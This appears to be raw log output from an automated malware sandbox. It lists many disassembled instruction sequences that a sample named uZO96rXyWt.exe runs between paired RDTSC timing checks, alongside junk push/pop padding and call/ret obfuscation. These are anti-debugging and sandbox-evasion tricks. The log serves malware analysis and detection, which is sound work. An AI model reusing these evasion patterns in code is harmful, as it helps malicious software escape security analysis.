Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E1A3B3 second address: E1A3BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3C24EA6E46h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E7CD00 second address: E7CD15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop eax 0x00000007 jmp 00007F3C25696DAEh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E7CD15 second address: E7CD2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E50h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F3C24EA6E46h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E7D56B second address: E7D56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E80409 second address: E80412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E80412 second address: E80416 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E80416 second address: E8041A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8041A second address: E80420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E0FF8E second address: E0FF94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E84557 second address: E84584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3C25696DAFh 0x0000000b jmp 00007F3C25696DB8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E84719 second address: E8473B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E58h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E84CB4 second address: E84CBE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E84CBE second address: E84CD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E50h 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E850AA second address: E85101 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DB6h 0x00000007 jmp 00007F3C25696DB4h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F3C25696DB6h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3C25696DAFh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E85101 second address: E85105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E85105 second address: E8512F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3C25696DB6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007F3C25696DA6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8512F second address: E8513E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3C24EA6E46h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8513E second address: E85148 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E85148 second address: E8514D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8514D second address: E85153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E852E6 second address: E852F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007F3C24EA6E46h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E89813 second address: E8981B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8981B second address: E89841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F3C24EA6E56h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push esi 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E56C4A second address: E56CD8 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jc 00007F3C25696DA8h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b nop 0x0000001c add dword ptr [ebp+122D337Ch], esi 0x00000022 jmp 00007F3C25696DB1h 0x00000027 lea eax, dword ptr [ebp+12482998h] 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F3C25696DA8h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 mov dword ptr [ebp+1244A2ECh], eax 0x0000004d nop 0x0000004e pushad 0x0000004f pushad 0x00000050 push edx 0x00000051 pop edx 0x00000052 jno 00007F3C25696DA6h 0x00000058 popad 0x00000059 jmp 00007F3C25696DB8h 0x0000005e popad 0x0000005f push eax 0x00000060 js 00007F3C25696DB4h 0x00000066 push eax 0x00000067 push edx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E56CD8 second address: E56CDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E56CDC second address: E37B0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edi 0x0000000a call 00007F3C25696DA8h 0x0000000f pop edi 0x00000010 mov dword ptr [esp+04h], edi 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc edi 0x0000001d push edi 0x0000001e ret 0x0000001f pop edi 0x00000020 ret 0x00000021 jmp 00007F3C25696DB8h 0x00000026 jmp 00007F3C25696DB8h 0x0000002b call dword ptr [ebp+122D1DA4h] 0x00000031 jbe 00007F3C25696DC2h 0x00000037 push esi 0x00000038 push eax 0x00000039 pop eax 0x0000003a pop esi 0x0000003b push eax 0x0000003c push edx 0x0000003d je 00007F3C25696DA6h 0x00000043 jmp 00007F3C25696DAAh 0x00000048 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E573C2 second address: E573DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F3C24EA6E4Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E573DD second address: E573E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E57531 second address: E57549 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3C24EA6E4Fh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E57CEB second address: E57CEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E57CEF second address: E57D05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 ja 00007F3C24EA6E6Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007F3C24EA6E46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E57D05 second address: E57D37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jo 00007F3C25696DABh 0x00000010 mov ecx, 37450D61h 0x00000015 push 0000001Eh 0x00000017 stc 0x00000018 nop 0x00000019 push ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E57D37 second address: E57D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E57D3B second address: E57D61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DB0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jl 00007F3C25696DA6h 0x00000014 jng 00007F3C25696DA6h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E580F9 second address: E580FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E580FD second address: E58107 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E58107 second address: E5818F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F3C24EA6E46h 0x00000009 jg 00007F3C24EA6E46h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F3C24EA6E48h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d movsx edi, bx 0x00000030 movzx edi, si 0x00000033 mov dword ptr [ebp+124602A8h], ecx 0x00000039 lea eax, dword ptr [ebp+124829DCh] 0x0000003f push 00000000h 0x00000041 push edi 0x00000042 call 00007F3C24EA6E48h 0x00000047 pop edi 0x00000048 mov dword ptr [esp+04h], edi 0x0000004c add dword ptr [esp+04h], 0000001Dh 0x00000054 inc edi 0x00000055 push edi 0x00000056 ret 0x00000057 pop edi 0x00000058 ret 0x00000059 nop 0x0000005a jmp 00007F3C24EA6E4Eh 0x0000005f push eax 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 jnl 00007F3C24EA6E46h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E5818F second address: E581F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3C25696DB0h 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F3C25696DA8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a jmp 00007F3C25696DAAh 0x0000002f lea eax, dword ptr [ebp+12482998h] 0x00000035 sub dword ptr [ebp+12448B68h], ecx 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F3C25696DACh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E89B10 second address: E89B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E89B14 second address: E89B4B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jno 00007F3C25696DA6h 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007F3C25696DB7h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b popad 0x0000001c jo 00007F3C25696DB4h 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E89CC8 second address: E89CE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E59h 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E89DFF second address: E89E08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E89E08 second address: E89E0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E89F67 second address: E89F89 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jp 00007F3C25696DA6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F3C25696DB2h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E89F89 second address: E89F8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E90FC9 second address: E90FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F3C25696DA6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d jl 00007F3C25696DA8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8F902 second address: E8F928 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E58h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jo 00007F3C24EA6E4Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8FA7F second address: E8FA85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8FA85 second address: E8FAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E53h 0x00000009 jl 00007F3C24EA6E46h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007F3C24EA6E46h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8FAAB second address: E8FAC6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DB0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8FAC6 second address: E8FAD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8FAD1 second address: E8FAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8FC47 second address: E8FC59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3C24EA6E4Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8FF08 second address: E8FF41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DB5h 0x00000007 jl 00007F3C25696DA6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3C25696DB6h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8FF41 second address: E8FF6A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3C24EA6E46h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F3C24EA6E5Ah 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8FF6A second address: E8FF8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jmp 00007F3C25696DB9h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E900F4 second address: E90103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E90103 second address: E90107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E90107 second address: E90116 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E90116 second address: E90122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3C25696DA6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E90122 second address: E90128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E903F7 second address: E903FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E903FB second address: E90409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E4Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E90409 second address: E9040F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9040F second address: E9042A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3C24EA6E57h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9042A second address: E90438 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F3C25696DA6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E90438 second address: E90461 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3C24EA6E55h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E90461 second address: E90465 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9074D second address: E90760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E908A6 second address: E908B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jo 00007F3C25696DA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E908B2 second address: E908D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E50h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jl 00007F3C24EA6E46h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E8F5F3 second address: E8F618 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3C25696DACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3C25696DB3h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E98FF4 second address: E9900F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3C24EA6E51h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9900F second address: E99019 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3C25696DA6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E99157 second address: E9916C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E51h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9916C second address: E99197 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F3C25696DAAh 0x0000000f push ecx 0x00000010 push edi 0x00000011 pop edi 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pop ecx 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3C25696DAEh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9C844 second address: E9C852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push edx 0x00000008 pop edx 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9C852 second address: E9C856 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9C856 second address: E9C86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 js 00007F3C24EA6E52h 0x0000000e je 00007F3C24EA6E46h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9C86C second address: E9C887 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C25696DB4h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9C887 second address: E9C88D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
